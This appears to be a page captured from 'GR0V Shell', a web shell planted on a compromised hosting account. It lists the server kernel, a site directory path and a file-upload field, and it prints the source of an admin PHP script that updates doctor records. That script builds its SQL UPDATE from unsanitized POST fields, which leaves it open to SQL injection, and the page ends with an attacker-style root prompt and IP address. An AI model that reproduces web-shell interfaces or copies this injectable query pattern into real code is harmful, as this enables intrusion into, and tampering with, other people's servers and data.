? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/admin/update_doctor.php

<?php
include 'db.php'; // Database connection

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $id = $_POST['edit_id'];
    $doctor_name = $_POST['edit_name'];
    $doctor_contact = $_POST['edit_contact'];
    $doctor_address = $_POST['edit_address'];
    $doctor_commission = $_POST['edit_commission'];

    $query = "UPDATE doctorentry 
              SET doctor_name='$doctor_name', doctor_contact='$doctor_contact', doctor_address='$doctor_address', doctor_commission='$doctor_commission' 
              WHERE id='$id'";

    if (mysqli_query($conn, $query)) {
        echo "success";
    } else {
        echo "error";
    }
}
?>

T1KUS90T
  root-grov@89.117.188.241:~$